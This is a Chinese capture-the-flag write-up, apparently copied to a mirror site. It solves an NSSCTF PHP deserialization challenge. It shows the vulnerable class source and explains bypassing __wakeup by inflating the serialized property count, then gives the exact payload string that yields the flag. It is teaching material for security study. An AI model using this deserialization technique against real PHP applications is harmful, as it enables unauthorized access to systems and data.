当前位置: 首页 > news >正文

【PHP反序列化】css夺旗赛

https://www.nssctf.cn/problem/429

源码:

<?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}public function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag;}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?> 
  1. 类结构HaHaHa类有两个属性adminpasswd

  2. 构造函数:设置默认值admin="user"passwd="123456"

  3. __wakeup魔术方法:在反序列化时自动调用,对passwd进行sha1加密

  4. __destruct魔术方法:在对象销毁时检查条件,如果满足就输出flag

需要同时满足两个条件才能获取flag:

$this->admin === "admin" && $this->passwd === "wllm"

但是__wakeup()方法会在反序列化时自动执行,将passwd进行sha1加密,这会导致:原始设置的passwd="wllm"会被加密成sha1("wllm"),加密后的值不等于"wllm"

解决方案:绕过__wakeup

PHP的反序列化漏洞中,可以通过修改序列化字符串中的对象属性数量来绕过__wakeup方法的执行。

构造payload

  1. 首先创建满足条件的对象:

<?php
class HaHaHa{public $admin;public $passwd;
}$obj = new HaHaHa();
$obj->admin = "admin";
$obj->passwd = "wllm";echo serialize($obj);
?>

正常序列化字符串:O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

绕过__wakeup的payload:

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

注意:当反序列化的对象属性数量与实际类属性数量不匹配时,__wakeup()方法不会被执行,所以将属性数量从2改为比实际数量大的数字:3

 

http://www.dtcms.com/a/600764.html

相关文章:

  • ServletLess架构简介
  • 安卓C语言编译器的选择与使用技巧 | 优化C语言编程体验,提升开发效率
  • (三)自然语言处理笔记——Transformer
  • iOS性能分析工具,有UI卡顿、app启动、内存、webview等性能优化解析
  • 电商网站建设 数商云招商码头无忧查询系统
  • 开源 Objective-C IOS 应用开发(三)第一个iPhone的APP
  • (11)(2.2.2) BLHeli32,AM32, and BLHeli_S ESCs(二)
  • Google Chrome v142.0.7444.135 便携增强版
  • [Windows] PDF文件浏览OCR工具1.0
  • 2025人形机器人产业链全景分析报告:核心技术与市场趋势|附130+份报告PDF、数据、可视化模板汇总下载
  • 长春教做网站带维护的培训机构淮安网站建设
  • 图文详述:MySQL的下载、安装、配置、使用
  • 把课本内容抄到PPT上就行吗?会不会太乱?
  • MySQL XtraBackup 使用文档(全量 + 增量备份与恢复)
  • 在k8s中seaweedfs中,weed 命令详细举例说明
  • 动易 网站统计 首次打开阿里云服务器学生
  • 【底层奥秘与性能艺术】让 RTOS 在 48 MHz MCU 上跑出 0.5 µs 上下文切换——一场从零开始的嵌入式“时间革命”
  • Win11找不到组策略编辑器(gpedit.msc)
  • [智能体设计模式]第2章-路由(Route)
  • [智能体设计模式] 第五章 :函数调用
  • PixPin(截图工具) v2.2.0.0
  • 2023年混沌学堂JAVA课程(1-7期)+专题课
  • 备战算法专家--要点 1
  • 湖南服装网站建设东方财富网官方网站首页
  • 物业网站建设方案开发一个直播app
  • 设计模式实战篇(一):彻底搞懂 Singleton 单例模式
  • 什么是电子商务网站建设网站建设的一些背景图片
  • 一个有 IP 的服务端监听了某个端口,那么他的 TCP 最大链接数是多少
  • K8s常用排障调试工具 入侵排查 kubectl debug 命令详解
  • yield(放弃优先权)